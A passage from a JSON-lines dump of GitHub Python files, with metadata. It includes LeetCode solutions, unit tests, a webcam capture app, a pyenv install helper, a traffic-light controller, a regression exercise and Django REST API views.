postdisc_name\n","repo_name":"korhanpolat/TermDiscoveryKNN","sub_path":"clustering/wrappers.py","file_name":"wrappers.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"29907027536","text":"\"\"\"\n\nFind the length of the longest substring T of a given string (consists of lowercase letters only) such that every character in T appears no less than k times.\n\nExample 1:\n\nInput:\ns = \"aaabb\", k = 3\n\nOutput:\n3\n\nThe longest substring is \"aaa\", as 'a' is repeated 3 times.\nExample 2:\n\nInput:\ns = \"ababbc\", k = 2\n\nOutput:\n5\n\nThe longest substring is \"ababb\", as 'a' is repeated 2 times and 'b' is repeated 3 times.\n\n\"\"\"\nimport collections\n\n\n\nclass Solution(object):\n def longestSubstring(self, s, k):\n \"\"\"\n :type s: str\n :type k: int\n :rtype: int\n \"\"\"\n if len(s) < k:\n \treturn 0\n count = collections.Counter(s)\n before = 0\n result = 0\n for i in range(len(s)):\n \tif count[s[i]] < k:\n \t\tcurrent = s[before: i]\n \t\tif current:\n \t\t\tresult = max(result, self.longestSubstring(current, k))\n \t\tbefore = i + 1\n if before == 0:\n return len(s)\n return max(result, self.longestSubstring(s[before:], k))\n\n\n def longestSubstring_v2(self, s, k):\n\t \"\"\"\n\t :type s: str\n\t :type k: int\n\t :rtype: int\n\t \"\"\"\n\t \n\t if len(s) < k:\n\t \treturn 0\n\n\t del_char = set()\n\t for i,v in collections.Counter(s).items():\n\t if v < k:\n\t del_char.add(i)\n\t \n\t if len(del_char) == 0:\n\t return len(s)\n\n\t new_s = ''.join([i if i not in del_char else ' ' for i in s])\n\n\t max_length = 0\n\t for i in new_s.split():\n\t max_length = max(max_length,self.longestSubstring_v2(i,k))\n\n\t return max_length\n\n\n# print(Solution().longestSubstring('weitong', 2))\nprint(Solution().longestSubstring('bbaaacbd', 3))\n\n\n\n","repo_name":"Mang0o/leetcode","sub_path":"395. Longest Substring with At Least K Repeating Characters2.py","file_name":"395. Longest Substring with At Least K Repeating Characters2.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35023482924","text":"from unittest import TestCase\nfrom mock import patch, PropertyMock\nfrom collections import namedtuple\nfrom pyccata.core.configuration import Configuration\nfrom pyccata.core.interface import ManagerInterface\nfrom pyccata.core.exceptions import InvalidModuleError\nfrom pyccata.core.exceptions import InvalidClassError\nfrom pyccata.core.exceptions import RequiredKeyError\nfrom pyccata.core.managers.project import ProjectManager\nfrom tests.mocks.dataproviders import InvalidRequires\nfrom pyccata.core.log import Logger\n\nclass TestProjectManager(TestCase):\n\n @patch('argparse.ArgumentParser.parse_args')\n @patch('pyccata.core.log.Logger.log')\n def setUp(self, mock_log, mock_parser):\n mock_log.return_value = None\n mock_parser.return_value = None\n Logger._instance = mock_log\n\n def tearDown(self):\n if Configuration._instance is not None:\n Configuration._instance = None\n Configuration.NAMESPACE = 'pyccata.core'\n\n @patch('pyccata.core.configuration.Configuration._load')\n def test_manager_raises_invalid_module_error_if_manager_module_does_not_exist(self, mock_load):\n key = 'iwillneverbeamanager'\n with patch('pyccata.core.configuration.Configuration.manager', new_callable=PropertyMock) as mock_manager:\n mock_manager.return_value = key\n with self.assertRaisesRegexp(InvalidModuleError, '{0}.*{1}.*'.format(key, Configuration.NAMESPACE)):\n ProjectManager()\n\n @patch('pyccata.core.configuration.Configuration._load')\n def test_manager_raises_invalid_class_error_if_manager_class_does_not_exist(self, mock_load):\n key = 'managermodule'\n Configuration.NAMESPACE = 'tests.mocks'\n with patch('pyccata.core.configuration.Configuration.manager', new_callable=PropertyMock) as mock_manager:\n mock_manager.return_value = key\n with self.assertRaisesRegexp(InvalidClassError, 'Managermodule .* {0}.*'.format(Configuration.NAMESPACE)):\n ProjectManager()\n\n @patch('pyccata.core.configuration.Configuration._load')\n def test_manager_raises_import_error_if_manager_class_does_not_exist(self, mock_load):\n key = 'agilemanager'\n Configuration.NAMESPACE = 'tests.mocks'\n with patch('pyccata.core.configuration.Configuration.manager', new_callable=PropertyMock) as mock_manager:\n mock_manager.return_value = key\n with self.assertRaises(ImportError):\n a = ProjectManager()\n\n @patch('pyccata.core.configuration.Configuration._load')\n def test_manager_raises_not_implemented_error_if_manager_class_has_no_requires(self, mock_load):\n key = 'jira'\n Configuration.NAMESPACE = 'tests.mocks'\n with patch('pyccata.core.configuration.Configuration.manager', new_callable=PropertyMock) as mock_manager:\n mock_manager.return_value = key\n with self.assertRaises(NotImplementedError):\n a = InvalidRequires()\n\n @patch('pyccata.core.configuration.Configuration._load')\n def test_manager_raises_required_key_error_if_config_has_invalid_requires(self, mock_load):\n key = 'jira'\n Configuration.NAMESPACE = 'tests.mocks'\n Config = namedtuple('Config', 'manager jira server port')\n Jira = Config(manager = None, jira = None, server = 'http://jira.local', port = '8080')\n mock_config = Config(manager = 'jira', jira = Jira, server = None, port = None)\n self.tearDown()\n Configuration._configuration = mock_config\n with patch('pyccata.core.configuration.Configuration.manager', new_callable=PropertyMock) as mock_manager:\n mock_manager.return_value = key\n InvalidRequires.REQUIRED = ['bob']\n with self.assertRaises(RequiredKeyError):\n a = InvalidRequires()\n\n","repo_name":"mproffitt/pyccata","sub_path":"tests/test_pyccata/managers/test_project.py","file_name":"test_project.py","file_ext":"py","file_size_in_byte":3838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4693813630","text":"import tkinter as tk\nimport cv2\nimport os\n\nclass Application:\n def __init__(self, window):\n self.window = window\n self.window.title(\"Captura de imagem\")\n \n # Cria um Frame para conter o botão e o campo de entrada\n self.input_frame = tk.Frame(self.window, width=640, height=50)\n self.input_frame.pack(side=tk.BOTTOM, fill=tk.X)\n \n # Cria o botão e o campo de entrada dentro do Frame\n self.nome_label = tk.Label(self.input_frame, text=\"Digite o nome:\")\n self.nome_entry = tk.Entry(self.input_frame)\n self.capturar_button = tk.Button(self.input_frame, text=\"Capturar\", command=self.capturar_imagem)\n \n # Define a posição do botão e do campo de entrada\n self.nome_label.pack(side=tk.LEFT, padx=5, pady=5)\n self.nome_entry.pack(side=tk.LEFT, padx=5, pady=5, fill=tk.X, expand=True)\n self.capturar_button.pack(side=tk.RIGHT, padx=5, pady=5)\n \n # Inicia a captura da imagem\n self.capture = cv2.VideoCapture(0)\n self.display = tk.Label(self.window)\n self.display.pack()\n self.show_frame()\n\n def capturar_imagem(self):\n # Captura a imagem da câmera\n ret, frame = self.capture.read()\n nome = self.nome_entry.get()\n caminho_pasta = r'C:\\Users\\bruno\\OneDrive\\Área de Trabalho\\FaceRecognition_v2_HOG\\src\\assets\\conhecidos'\n \n # Salva a imagem na pasta especificada\n caminho_arquivo = os.path.join(caminho_pasta, nome + \".jpg\")\n cv2.imwrite(caminho_arquivo, frame)\n \n # Exibe uma mensagem de confirmação\n print(\"Cadastro realizado com sucesso!\")\n \n # Libera a câmera e fecha a aplicação\n self.capture.release()\n self.window.destroy()\n\n def show_frame(self):\n _, frame = self.capture.read()\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n frame = cv2.resize(frame, (640, 480))\n img = tk.PhotoImage(data=cv2.imencode('.png', frame)[1].tobytes())\n self.display.config(image=img)\n self.display.img = img\n self.window.after(10, self.show_frame)\n \nif __name__ == '__main__':\n root = tk.Tk()\n app = Application(root)\n root.mainloop()","repo_name":"devbdias/FaceRecognition_HOG","sub_path":"src/scripts/cadastrar_usuário.py","file_name":"cadastrar_usuário.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16984281062","text":"class Solution:\n def findTheDifference(self, s: str, t: str) -> str:\n s_sort = sorted(s)\n t_sort = sorted(t)\n \n # Sort the letters inside the two strings\n # If the pointer gets past the last position of s, return the value at that pos in t, this if statement goes first so the ensuing if statement won't get an out of bounds error comparing a character at a position that doesn't exist.\n for pos in range(max(len(s), len(t))):\n if pos >= len(s_sort):\n return t_sort[pos]\n \n if s_sort[pos] != t_sort[pos]:\n return t_sort[pos]\n ","repo_name":"dyhliang/Leetcode","sub_path":"389-find-the-difference/389-find-the-difference.py","file_name":"389-find-the-difference.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"7835190250","text":"\ndef myfun(a,b):\n a=5\n b=3\n return b-a\n\nif __name__=='__main__':\n #print(myfun(b=5))\n #TypeError: myfun() missing 1 required positional argument: 'a'\n for i in range(1,10,2):\n print(i)","repo_name":"liehuojdd/pythonstudy2","sub_path":"3.6/PythonCharmTest2/basic/program/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22846625054","text":"def isprime(n):\n c=0\n for i in range(1,n+1):\n if n%i==0:\n c=c+1\n if c==2:\n return True\n else:\n return False\nn = int(input())\nl = list(map(int,input().split()))\nl1 = []\nfor i in l:\n if(isprime(i)):\n l1.append(i)\nr = sum(l1)/len(l1)\nprint(\"%.2f\"%r)","repo_name":"harisripriyanka/codemind-python","sub_path":"Average_of_primes.py","file_name":"Average_of_primes.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28410615668","text":"import subprocess\nimport requests\nfrom bs4 import BeautifulSoup\nimport time\nCMD = '''\non run argv\n display notification (item 2 of argv) with title (item 1 of argv) \nend run\n'''\n\ndef notify(title, text):\n subprocess.call(['osascript', '-e', CMD, title, text])\n\ndef getData(url):\n r=requests.get(url)\n return r.text\n\n# Example uses:\n# notify(\"james bond\", \"Heres an alert\")\n\nmyhtmlData=getData(\"https://prsindia.org/covid-19/cases\")\n\n\nsoup=BeautifulSoup(myhtmlData, 'html.parser')\n\nDataList=[]\n\nfor td in soup.find_all('tbody')[0].find_all('tr'):\n list1=[]\n count=0\n for item in td.find_all('td'):\n list1.append(item.get_text())\n count+=1\n \n if(count==6):\n \n DataList.append(list1)\n \n list1=[]\n count=0\n\n\n\nfor item in DataList:\n print(item)\n\nStates=[]\nfor item in DataList[0:5]:\n \n States.append(item[1])\n\n\n\n \nfor item in DataList:\n if item[1] in States:\n nTitle='Cases of covid-19'\n nText=f\"Sno.{item[0]}\\n State:{item[1]}\\n Confirmed Cases:{item[2]}\\n Active Cases:{item[3]}\\n Cured/Discharged:{item[4]}\\n Deaths:{item[5]} \"\n notify(nTitle,nText)\n time.sleep(2)\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n \n \n\n\n \n\n\n\n\n","repo_name":"jamesbondaf/Covid-notification","sub_path":"covid_notify/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2176756415","text":"\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef plot_heatmap(histogram, height, width, xmin, xmax, ymin, ymax):\n hist = np.array(histogram).reshape(height, width)\n plt.imshow(hist, cmap='viridis', extent=[xmin, xmax, ymax, ymin])\n plt.colorbar()\n plt.show()\n return 1\n","repo_name":"NickRoz1/Histogram","sub_path":"plot/heatmap.py","file_name":"heatmap.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2289437753","text":"# coding: utf-8\nfrom __future__ import unicode_literals, division, absolute_import, print_function\n\nimport os\nimport subprocess\nimport sys\n\n\nrun_args = [\n {\n 'name': 'version',\n 'kwarg': 'version',\n },\n]\n\n\ndef _write_env(env, key, value):\n sys.stdout.write(\"%s: %s\\n\" % (key, value))\n sys.stdout.flush()\n if sys.version_info < (3,):\n env[key.encode('utf-8')] = value.encode('utf-8')\n else:\n env[key] = value\n\n\ndef run(version=None):\n \"\"\"\n Installs a version of Python on Mac using pyenv\n\n :return:\n A bool - if Python was installed successfully\n \"\"\"\n\n if sys.platform == 'win32':\n raise ValueError('pyenv-install is not designed for Windows')\n\n if version not in set(['2.6', '3.3']):\n raise ValueError('Invalid version: %r' % version)\n\n python_path = os.path.expanduser('~/.pyenv/versions/%s/bin' % version)\n if os.path.exists(os.path.join(python_path, 'python')):\n print(python_path)\n return True\n\n stdout = \"\"\n stderr = \"\"\n\n proc = subprocess.Popen(\n 'command -v pyenv',\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE\n )\n proc.communicate()\n if proc.returncode != 0:\n proc = subprocess.Popen(\n ['brew', 'install', 'pyenv'],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE\n )\n so, se = proc.communicate()\n stdout += so.decode('utf-8')\n stderr += se.decode('utf-8')\n if proc.returncode != 0:\n print(stdout)\n print(stderr, file=sys.stderr)\n return False\n\n pyenv_script = './%s' % version\n try:\n with open(pyenv_script, 'wb') as f:\n if version == '2.6':\n contents = '#require_gcc\\n' \\\n 'install_package \"openssl-1.0.2k\" \"https://www.openssl.org/source/old/1.0.2/openssl-1.0.2k.tar.gz' \\\n '#6b3977c61f2aedf0f96367dcfb5c6e578cf37e7b8d913b4ecb6643c3cb88d8c0\" mac_openssl\\n' \\\n 'install_package \"readline-8.0\" \"https://ftpmirror.gnu.org/readline/readline-8.0.tar.gz' \\\n '#e339f51971478d369f8a053a330a190781acb9864cf4c541060f12078948e461\" mac_readline' \\\n ' --if has_broken_mac_readline\\n' \\\n 'install_package \"Python-2.6.9\" \"https://www.python.org/ftp/python/2.6.9/Python-2.6.9.tgz' \\\n '#7277b1285d8a82f374ef6ebaac85b003266f7939b3f2a24a3af52f9523ac94db\" standard verify_py26'\n elif version == '3.3':\n contents = '#require_gcc\\n' \\\n 'install_package \"openssl-1.0.2k\" \"https://www.openssl.org/source/old/1.0.2/openssl-1.0.2k.tar.gz' \\\n '#6b3977c61f2aedf0f96367dcfb5c6e578cf37e7b8d913b4ecb6643c3cb88d8c0\" mac_openssl\\n' \\\n 'install_package \"readline-8.0\" \"https://ftpmirror.gnu.org/readline/readline-8.0.tar.gz' \\\n '#e339f51971478d369f8a053a330a190781acb9864cf4c541060f12078948e461\" mac_readline' \\\n ' --if has_broken_mac_readline\\n' \\\n 'install_package \"Python-3.3.7\" \"https://www.python.org/ftp/python/3.3.7/Python-3.3.7.tar.xz' \\\n '#85f60c327501c36bc18c33370c14d472801e6af2f901dafbba056f61685429fe\" standard verify_py33'\n f.write(contents.encode('utf-8'))\n\n args = ['pyenv', 'install', pyenv_script]\n stdin = None\n stdin_contents = None\n env = os.environ.copy()\n\n if version == '2.6':\n _write_env(env, 'PYTHON_CONFIGURE_OPTS', '--enable-ipv6')\n stdin = subprocess.PIPE\n stdin_contents = '--- configure 2021-08-05 20:17:26.000000000 -0400\\n' \\\n '+++ configure 2021-08-05 20:21:30.000000000 -0400\\n' \\\n '@@ -10300,17 +10300,8 @@\\n' \\\n ' rm -f core conftest.err conftest.$ac_objext \\\\\\n' \\\n ' conftest$ac_exeext conftest.$ac_ext\\n' \\\n ' \\n' \\\n '-if test \"$buggygetaddrinfo\" = \"yes\"; then\\n' \\\n '-\\tif test \"$ipv6\" = \"yes\"; then\\n' \\\n '-\\t\\techo \\'Fatal: You must get working getaddrinfo() function.\\'\\n' \\\n '-\\t\\techo \\' or you can specify \"--disable-ipv6\"\\'.\\n' \\\n '-\\t\\texit 1\\n' \\\n '-\\tfi\\n' \\\n '-else\\n' \\\n '-\\n' \\\n ' $as_echo \"#define HAVE_GETADDRINFO 1\" >>confdefs.h\\n' \\\n ' \\n' \\\n '-fi\\n' \\\n ' for ac_func in getnameinfo\\n' \\\n ' do :\\n' \\\n ' ac_fn_c_check_func \"$LINENO\" \"getnameinfo\" \"ac_cv_func_getnameinfo\"'\n stdin_contents = stdin_contents.encode('ascii')\n args.append('--patch')\n\n proc = subprocess.Popen(\n args,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdin=stdin,\n env=env\n )\n so, se = proc.communicate(stdin_contents)\n stdout += so.decode('utf-8')\n stderr += se.decode('utf-8')\n\n if proc.returncode != 0:\n print(stdout)\n print(stderr, file=sys.stderr)\n return False\n\n finally:\n if os.path.exists(pyenv_script):\n os.unlink(pyenv_script)\n\n print(python_path)\n return True\n","repo_name":"robertlopez9216/certvalidator","sub_path":"dev/pyenv-install.py","file_name":"pyenv-install.py","file_ext":"py","file_size_in_byte":5351,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"18180424523","text":"soma = 0\nult = 1\n\nnum = int(input(\"Digite um número de vezes: \"))\n\nfor i in range(1, num+1):\n soma += i\n for c in range(ult, soma + 1):\n if c==soma:\n ult = c+1\n print(f'{c}', end=' ')\n print()\n\n","repo_name":"PabloHenrique/AulasPython-Fatec","sub_path":"Exercícios/Microinformática/Termo I/Lista 05/exe03.py","file_name":"exe03.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"13026492052","text":"# main.py\nfrom button import Button\nfrom led import Led\nfrom utime import ticks_ms, sleep_ms, ticks_diff\n\ndef change_leds(led1, led2): \n # Muda o estado de dois LEDs\n led1.state(not led1.state())\n led2.state(not led2.state())\n\ndef intermitente():\n # Função para o estado amarelo intermitente\n green.state(False)\n red.state(False)\n sleep_ms(200) # Anti-bouncing \n \n while True:\n yellow.blink(blink_duration) # Ver função de classe LED\n\n if bi.state() == 1:\n yellow.state(False)\n sleep_ms(500) # Anti-bouncing\n break \n\n# Botões\nbi = Button(23) # Botão direito / foto\nbp = Button(18) # Botão esquerdo / foto\n\n# LEDs\ngreen = Led(19)\nyellow = Led(22)\nred = Led(21)\n\n# Valores default\ngreen_default_duration = 9000\nyellow_duration = 1000\nred_duration = 5000\nblink_duration = 1000\nmin_time_peao = 4000\n\n# Init valores\ngreen.state(True)\ngreen_time_init = ticks_ms()\ngreen_limit = green_default_duration\n\nwhile True:\n if green.state() == 1: \n # Calcula o tempo de espera do green LED; green_default_duration / min_time_peao / 0, confrome o caso \n if bp.state() == 1:\n if ticks_diff(ticks_ms(), green_time_init) <= min_time_peao:\n green_limit = min_time_peao\n else:\n green_limit = 0\n\n if ticks_diff(ticks_ms(), green_time_init) > green_limit: \n # Se o tempo de verde expirou passa a amarelo.\n change_leds(green, yellow)\n yellow_time_init = ticks_ms()\n green_limit = green_default_duration\n\n if yellow.state() == 1:\n # Se o tempo de amarelo expirou, passa a vermelho\n if ticks_diff(ticks_ms(), yellow_time_init) > yellow_duration:\n change_leds(yellow, red)\n red_time_init = ticks_ms() \n \n if red.state() == 1:\n # Se o tempo de vermelho expirou, passa a verde\n if ticks_diff(ticks_ms(), red_time_init) > red_duration:\n change_leds(red, green)\n green_time_init = ticks_ms()\n \n if bi.state() == 1:\n # Activação da tecla bi acciona o modo intermitente, desabilitando qualquer outra função.\n intermitente()\n # Após desactivaçao do modo intermitente, inicialização do funcionamento normal do semáforo.\n green.state(True)\n green_limit = green_default_duration\n green_time_init = ticks_ms()\n\n \n","repo_name":"luisvilaca9/Projeto_Semaforo","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8762379449","text":"from PyAsoka.src.Core.Signal import Signal\nfrom PyAsoka.src.Connections.Slot import Slot\nfrom PySide6.QtCore import QObject\n\n\nclass WindowManager(QObject):\n windows = []\n win_create = Signal(type, list, tuple)\n gui_connect = Signal(Slot, list, tuple)\n\n def __init__(self, *args):\n super().__init__(*args)\n WindowManager.gui_connect.bind(WindowManager.__event_happened__)\n\n @staticmethod\n def openWindow(win_type, args, kwargs):\n from PyAsoka.GUI.Widgets.AWidget import AWidget\n if issubclass(win_type, AWidget):\n # print(f'Пытаюсь открыть окно')\n window = win_type(*args, **kwargs)\n window.emerging()\n WindowManager.windows.append(window)\n else:\n raise Exception(\"Для открытия окна его класс должен наследоваться от QWidget\")\n\n @staticmethod\n def __open_window__(*args, **kwargs):\n args = list(args)\n win_type = args.pop(0)\n WindowManager.win_create(win_type, args, kwargs)\n\n @staticmethod\n def __event_happened__(slot, args, kwargs):\n # print(slot, args, kwargs)\n slot(*args, **kwargs)\n","repo_name":"mrKaribin/PyAsoka","sub_path":"versions/v1/Core/WindowManager.py","file_name":"WindowManager.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"5216114790","text":"#1)Даны значения величины заработной платы заемщиков банка (zp) и значения их поведенческого кредитного скоринга (ks): \nzp = 35, 45, 190, 200, 40, 70, 54, 150, 120, 110, \nks = 401, 574, 874, 919, 459, 739, 653, 902, 746, 832. \n#Используя математические операции, посчитать коэффициенты линейной регрессии, приняв за X заработную плату (то есть, zp - признак), а за y - значения скорингового балла (то есть, ks - целевая переменная). Произвести расчет как с использованием intercept, так и без.\nimport numpy as np\nimport matplotlib.pyplot as plt\nx = np.array([35, 45, 190, 200, 40, 70, 54, 150, 120, 110])\ny = np.array([401, 574, 874, 919, 459, 739, 653, 902, 746, 832])\n\nprint(f'Расчет с использованием математических формул с intercept \\nŷ = b0 + b1 ∗ x')\nprint()\n\nn = len(x)\n\nb1 = (np.mean(x*y) - np.mean(x) * np.mean(y)) / (np.mean(x**2) - np.mean(x)**2)\nprint(f'Коэффициент b1: {round(b1, 2)}')\nb0 = np.mean(y) - b1*np.mean(x)\nprint(f'Коэффициент b0: {round(b0, 2)}')\n\ny_pred = b0 + b1 * x\nprint(f'Уравнение линейной регрессии: ŷ = {round(b0, 2)} + {round(b1, 2)} * x')\n\nprint(f'Функция потерь: mse = {round(((y - y_pred)**2).sum() / n, 2)}')\n\nplt.scatter(x, y, label = 'x, y')\nplt.plot(x, y_pred, 'g', label = 'ŷ = 444.18 + 2.62 * x')\nplt.xlabel('zp')\nplt.ylabel('ks')\nplt.legend()\nx = np.array([35, 45, 190, 200, 40, 70, 54, 150, 120, 110])\ny = np.array([401, 574, 874, 919, 459, 739, 653, 902, 746, 832])\nprint(f'Расчет матричным методом без intercept \\nŷ = b1 ∗ x')\nprint()\n\nx1 = x.reshape((10, 1))\n# print(x)\ny1 = y.reshape((10, 1))\n# print(y)\n\nB = np.dot(np.linalg.inv(np.dot(x1.T,x1)), x1.T @ y1)\nprint(f'Коэффициент b1: {round(B[0,0], 2)}')\n\ny_pred = B[0,0] * x\nprint(f'Уравнение линейной регрессии: ŷ = {round(B[0,0], 2)} * x')\n\nprint(f'Функция потерь: mse = {((y - y_pred)**2).sum() / n}')\n\nplt.scatter(x1, y1, label = 'x, y')\nplt.plot(x1, y_pred, 'r', label = 'ŷ = 5.89 * x')\nplt.xlabel('zp')\nplt.ylabel('ks')\nplt.legend()\n\n#####################################\n\n#2)Посчитать коэффициент линейной регрессии при заработной плате (zp), используя градиентный спуск (без intercept).\n# Функция потерь 𝑚𝑠𝑒 = (∑(𝑦 − 𝑦_𝑝𝑟𝑒𝑑)^2) / 𝑛\nx = np.array([35, 45, 190, 200, 40, 70, 54, 150, 120, 110])\ny = np.array([401, 574, 874, 919, 459, 739, 653, 902, 746, 832])\nprint(f'Расчет методом градиентного спуска без intercept \\nŷ = b1 ∗ x')\nprint()\n\ndef mse_(B1, y=y, x=x, n=10):\n return ((B1 * x - y)**2).sum() / n\n\nalpha = 1e-6\nb1 = 0.1\nn=10\n\nfor i in range(1001):\n b1 -= alpha * (2/n) * np.sum((b1*x - y) * x)\n if i%100 == 0:\n print(f'Iteration = {i}, b1 = {b1}, mse = {mse_(b1)}')\nprint()\n\nprint(f'Функция потерь при b1 = {round(b1, 2)}: mse = {round(mse_(b1), 2)}')\n\nprint(f'Коэффициент b1: {round(b1, 2)}')\n\nprint(f'Уравнение линейной регрессии: ŷ = {round(b1, 2)} * x')\n\n###################################\n\n#3)Произвести вычисления как в пункте 2, но с вычислением intercept. Учесть, что изменение коэффициентов должно производиться на каждом шаге одновременно (то есть изменение одного коэффициента не должно влиять на изменение другого во время одной итерации).\nx = np.array([35, 45, 190, 200, 40, 70, 54, 150, 120, 110])\ny = np.array([401, 574, 874, 919, 459, 739, 653, 902, 746, 832])\n\nprint(f'Расчет методом градиентного спуска с intercept \\nŷ = b0 + b1 ∗ x')\nprint()\n\ndef mse_(B0, B1, y=y, x=x, n=10):\n return ((B0 + B1*x - y)**2).sum() / n\n\nalpha = 1e-5\nb0 = 1\nb1 = 1\nn=10\n\nfor i in range(3000000):\n b0 -= alpha * (2/n) * np.sum(b0 + b1*x - y)\n b1 -= alpha * (2/n) * np.sum((b0 + b1*x - y)*x)\n if i%500000 == 0:\n print(f'Iteration = {i}, b0 = {b0}, b1 = {b1}, mse = {mse_(b0, b1)}')\nprint()\n\ny_pred = b0 + b1 * x\nprint(f'Уравнение линейной регрессии: ŷ = {round(b0, 2)} + {round(b1, 2)} * x')\n\nprint(f'Функция потерь: mse = {round(mse_(b0, b1), 2)}')\n\nplt.scatter(x, y, label = 'x, y')\nplt.plot(x, y_pred, 'g', label = 'ŷ = 444.18 + 2.62 * x')\nplt.xlabel('zp')\nplt.ylabel('ks')\nplt.legend()\nfrom sklearn.linear_model import LinearRegression\n\nx = np.array([35, 45, 190, 200, 40, 70, 54, 150, 120, 110])\ny = np.array([401, 574, 874, 919, 459, 739, 653, 902, 746, 832])\n\nx = x.reshape(-1, 1)\n\nmodel = LinearRegression()\nregres = model.fit(x, y)\nb0 = regres.intercept_\nb1 = regres.coef_[0]\ny_pred = model.predict(x)\nprint(f'Уравнение линейной регрессии с intercept: ŷ = {round(b0, 2)} + {round(b1, 2)} * x')\n\nmodel_1 = LinearRegression(fit_intercept=False)\nregres = model_1.fit(x, y)\nb1 = regres.coef_[0]\ny_pred_1 = model_1.predict(x)\nprint(f'Уравнение линейной регрессии без intercept: ŷ = {round(b1, 2)} * x')\n\nplt.scatter(x, y, label = 'x, y')\nplt.plot(x, y_pred_0, 'g', label = 'ŷ = 444.18 + 2.62 * x')\nplt.plot(x, y_pred_1, 'r', label = 'ŷ = 5.89 * x')\nplt.xlabel('zp')\nplt.ylabel('ks')\nplt.legend()","repo_name":"CAPMATOB/Probability_theory_task_9","sub_path":"HT9.py","file_name":"HT9.py","file_ext":"py","file_size_in_byte":5782,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43551232161","text":"from django import forms\nfrom django.utils.safestring import mark_safe\nfrom django.utils.translation import ugettext as _\nfrom vehicles.models import Vehicles\n\nclass TextInputAppend(forms.TextInput):\n \n def __init__(self, *args, **kwargs):\n self.prepend = kwargs.pop('prepend', \"\")\n super(TextInputAppend, self).__init__(*args, **kwargs)\n \n def render(self, *args, **kwargs):\n html = super(TextInputAppend, self).render(*args, **kwargs)\n return mark_safe('
    %s%s
    ' % (html, self.prepend))\n\n\nclass CreateVehicle(forms.ModelForm):\n max_gross = forms.CharField(widget=TextInputAppend(prepend='T'))\n \n class Meta:\n model = Vehicles","repo_name":"codeadict/IGPython","sub_path":"apps/vehicles/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"40584162080","text":"from django.conf import settings\nfrom django.db.models import Count, ExpressionWrapper, F, FloatField, Q, Sum\nfrom django.db.models.functions import Cast\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.cache import cache_page\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework.generics import (\n ListCreateAPIView, RetrieveUpdateDestroyAPIView\n)\nfrom rest_framework_extensions.cache.mixins import CacheResponseMixin\n\nfrom api.activity.serializers import CodelistSerializer\nfrom api.aggregation.views import Aggregation, AggregationView, GroupBy\nfrom api.country.serializers import CountrySerializer\nfrom api.generics.filters import SearchFilter\nfrom api.generics.views import DynamicDetailView, DynamicListView\nfrom api.organisation.serializers import OrganisationAggregationSerializer\nfrom api.pagination import CustomTransactionPagination\nfrom api.region.serializers import RegionSerializer\nfrom api.sector.serializers import SectorSerializer\nfrom api.transaction.filters import (\n RelatedOrderingFilter, TransactionAggregationFilter, TransactionFilter\n)\nfrom api.transaction.serializers import (\n TransactionSectorSerializer, TransactionSerializer\n)\nfrom geodata.models import Country, Region\nfrom iati.models import (\n ActivityParticipatingOrganisation, ActivityStatus, AidType,\n CollaborationType, DocumentCategory, FinanceType, FlowType, Organisation,\n OrganisationType, PolicySignificance, Sector, TiedStatus\n)\nfrom iati.transaction.models import (\n Transaction, TransactionSector, TransactionType\n)\n\n\nclass TransactionList(DynamicListView):\n \"\"\"\n Returns a list of IATI Transactions stored in OIPA.\n\n ## Request parameters\n\n - `id` (*optional*): Transaction identifier.\n - `aid_type` (*optional*): Aid type identifier.\n - `activity` (*optional*): Comma separated list of activity id's.\n - `transaction_type` (*optional*): Transaction type identifier.\n - `value` (*optional*): Transaction value.\n - `min_value` (*optional*): Minimal transaction value.\n - `max_value` (*optional*): Maximal transaction value.\n - `q` (*optional*): Search specific value in activities list.\n See [Searching]() section for details.\n - `fields` (*optional*): List of fields to display.\n\n ## Searching\n\n - `description`\n - `provider_organisation_name`\n - `receiver_organisation_name`\n\n ## Result details\n\n Each result item contains short information about transaction including\n URI to transaction details.?fields=transaction_types\n\n URI is constructed as follows: `/api/transactions/{transaction_id}`\n\n \"\"\"\n queryset = Transaction.objects.all().order_by('id')\n serializer_class = TransactionSerializer\n filter_backends = 